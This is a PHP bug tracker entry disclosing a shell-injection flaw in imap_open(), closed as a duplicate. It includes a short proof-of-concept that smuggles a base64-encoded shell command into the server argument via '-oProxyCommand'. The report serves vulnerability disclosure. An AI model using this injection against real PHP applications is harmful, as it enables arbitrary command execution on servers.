|  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #77160 Script injection in imap_open()
Submitted: 2018-11-15 09:09 UTC Modified: 2019-02-21 05:11 UTC
From: hanno at hboeck dot de Assigned: cmb (profile)
Status: Duplicate Package: IMAP related
PHP Version: 7.2.12 OS:
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If this is not your bug, you can add a comment by following this link.
If this is your bug, but you forgot your password, you can retrieve your password here.
Bug Type:
From: hanno at hboeck dot de
New email:
PHP Version: OS:


 [2018-11-15 09:09 UTC] hanno at hboeck dot de
I just saw this posted on reddit and wanted to make sure PHP takes note, I haven't found it mentioned in the bug database yet:

It seems imap_open() has some kind of shell injection. This is advertised as an exec() bypass if exec() is not allowed, however I could also imagine this opens up a security problem in case you have any kind of imap frontend that allows users to configure their own server.

Likely the input to the function should be properly sanitized.

Test script:
# echo '1234567890'>/tmp/test0001
$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());


Add a Patch

Pull Requests

Add a Pull Request


AllCommentsChangesGit/SVN commitsRelated reports
 [2018-11-15 10:39 UTC]
-Status: Open +Status: Duplicate -Assigned To: +Assigned To: cmb
 [2018-11-15 10:39 UTC]
Thanks!  This has already been reported as bug #77153, though.
PHP Copyright © 2001-2022 The PHP Group
All rights reserved.
Last updated: Mon Aug 15 07:05:44 2022 UTC